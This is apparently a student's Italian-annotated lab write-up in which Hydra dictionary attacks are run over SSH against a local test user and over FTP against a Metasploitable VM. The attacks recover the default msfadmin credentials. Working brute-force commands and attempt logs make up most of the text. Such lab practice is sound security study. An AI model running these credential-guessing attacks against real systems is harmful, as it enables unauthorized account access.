Hydra Using

```
┌──(nicholas㉿kali)-[~]
└─$ sudo adduser test_user
[sudo] password for nicholas:
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
        Full Name []: test_user
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...

┌──(nicholas㉿kali)-[~]
└─$ sudo service ssh start
```

```
┌──(nicholas㉿kali)-[~]
└─$ ssh test_user@192.168.50.110
The authenticity of host '192.168.50.110 (192.168.50.110)' can't be established.
ED25519 key fingerprint is SHA256:B1j4PifbzEtNyrTh6pkiNyFU3ZPcIqqPipQyoDw8Kjw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.50.110' (ED25519) to the list of known hosts.
test_user@192.168.50.110's password:
Linux kali 6.3.0-kali1-arm64 #1 SMP Debian 6.3.7-1kali1 (2023-06-29) aarch64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
┌──(test_user㉿kali)-[~]
```

```
└─$ cd ..

┌──(test_user㉿kali)-[/usr]
└─$ cd ..

┌──(test_user㉿kali)-[/]
└─$ cd ..

┌──(test_user㉿kali)-[/]
└─$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt 192.168.50.110 -t 4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these **
* ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-14 16:51:03
[DATA] max 4 tasks per 1 server, overall 4 tasks, 43048882131570 login tries (l:8295455/p:5189454), ~10762220532893 tries per task
[DATA] attacking ssh://192.168.50.110:22/
[ATTEMPT] target 192.168.50.110 - login "info" - pass "123456" - 1 of 43048882131570 [child 0] (0/0)
[ATTEMPT] target 192.168.50.110 - login "info" - pass "password" - 2 of 43048882131570 [child 1] (0/0)
```

- Seguendo l’esercizio guidato ho creato un nuovo utente con una nuova password ed ho avviato il servizio ssh per tentare di accedervi eseguendo il comando specifico per exploitare con un attacco a dizionario

Dictionary Metasploitable

```
┌──(nicholas㉿kali)-[~]
└─$ sudo hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt 192.168.50.101 -t 4 ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-13 20:16:48
[WARNING] Restorefile (you have 10 seconds to abort… (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 43048882131570 login tries (l:8295455/p:5189454), ~10762220532893 tries per task
[DATA] attacking ftp://192.168.50.101:21/
[ATTEMPT] target 192.168.50.101 - login "info" - pass "123456" - 1 of 43048882131570 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "info" - pass "password" - 2 of 43048882131570 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "info" - pass "12345678" - 3 of 43048882131570 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "info" - pass "qwerty" - 4 of 43048882131570 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "info" - pass "123456789" - 5 of 43048882131570 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "info" - pass "12345" - 6 of 43048882131570 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "info" - pass "1234" - 7 of 43048882131570 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "info" - pass "111111" - 8 of 43048882131570 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "info" - pass "1234567" - 9 of 43048882131570 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "info" - pass "dragon" - 10 of 43048882131570 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "info" - pass "123123" - 11 of 43048882131570 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "info" - pass "baseball" - 12 of 43048882131570 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "info" - pass "abc123" - 13 of 43048882131570 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "info" - pass "football" - 14 of 43048882131570 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "info" - pass "monkey" - 15 of 43048882131570 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "info" - pass "letmein" - 16 of 43048882131570 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "info" - pass "696969" - 17 of 43048882131570 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "info" - pass "shadow" - 18 of 43048882131570 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "info" - pass "master" - 19 of 43048882131570 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "info" - pass "666666" - 20 of 43048882131570 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "info" - pass "qwertyuiop" - 21 of 43048882131570 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "info" - pass "123321" - 22 of 43048882131570 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "info" - pass "mustang" - 23 of 43048882131570 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "info" - pass "1234567890" - 24 of 43048882131570 [child 3] (0/0)
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

┌──(nicholas㉿kali)-[~]
└─$ sudo hydra -l /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -p msfadmin 192.168.50.101 -t 4 ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-13 20:17:43
[WARNING] Restorefile (you have 10 seconds to abort… (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
```

```
┌──(nicholas㉿kali)-[~]
└─$ sudo hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -p msfadmin 192.168.50.101 -t 4 ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-13 20:17:43
[WARNING] Restorefile (you have 10 seconds to abort… (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295455 login tries (l:8295455/p:1), ~2073864 tries per task
[DATA] attacking ftp://192.168.50.101:21/
[ATTEMPT] target 192.168.50.101 - login "info" - pass "msfadmin" - 1 of 8295455 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "msfadmin" - 2 of 8295455 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "2000" - pass "msfadmin" - 3 of 8295455 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "michael" - pass "msfadmin" - 4 of 8295455 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "NULL" - pass "msfadmin" - 5 of 8295455 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "john" - pass "msfadmin" - 6 of 8295455 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "david" - pass "msfadmin" - 7 of 8295455 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "robert" - pass "msfadmin" - 8 of 8295455 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "chris" - pass "msfadmin" - 9 of 8295455 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "mike" - pass "msfadmin" - 10 of 8295455 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "dave" - pass "msfadmin" - 11 of 8295455 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "richard" - pass "msfadmin" - 12 of 8295455 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "123456" - pass "msfadmin" - 13 of 8295455 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "thomas" - pass "msfadmin" - 14 of 8295455 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "steve" - pass "msfadmin" - 15 of 8295455 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "mark" - pass "msfadmin" - 16 of 8295455 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "andrew" - pass "msfadmin" - 17 of 8295455 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "daniel" - pass "msfadmin" - 18 of 8295455 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "george" - pass "msfadmin" - 19 of 8295455 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "paul" - pass "msfadmin" - 20 of 8295455 [child 3] (0/0)
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

┌──(nicholas㉿kali)-[~]
└─$ sudo hydra -l msfadmin -p msfadmin 192.168.50.101 -t 4 ftp -V
```

```
┌──(nicholas㉿kali)-[~]
└─$ sudo hydra -l msfadmin -p msfadmin 192.168.50.101 -t 4 ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-13 20:18:22
[WARNING] Restorefile (you have 10 seconds to abort… (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ftp://192.168.50.101:21/
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 1 of 1 [child 0] (0/0)
[21][ftp] host: 192.168.50.101   login: msfadmin   password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-09-13 20:18:33

┌──(nicholas㉿kali)-[~]
```

- In questa slide mostro vari tentativi di attacchi a dizionario verso metasploitable con i rispettivi comandi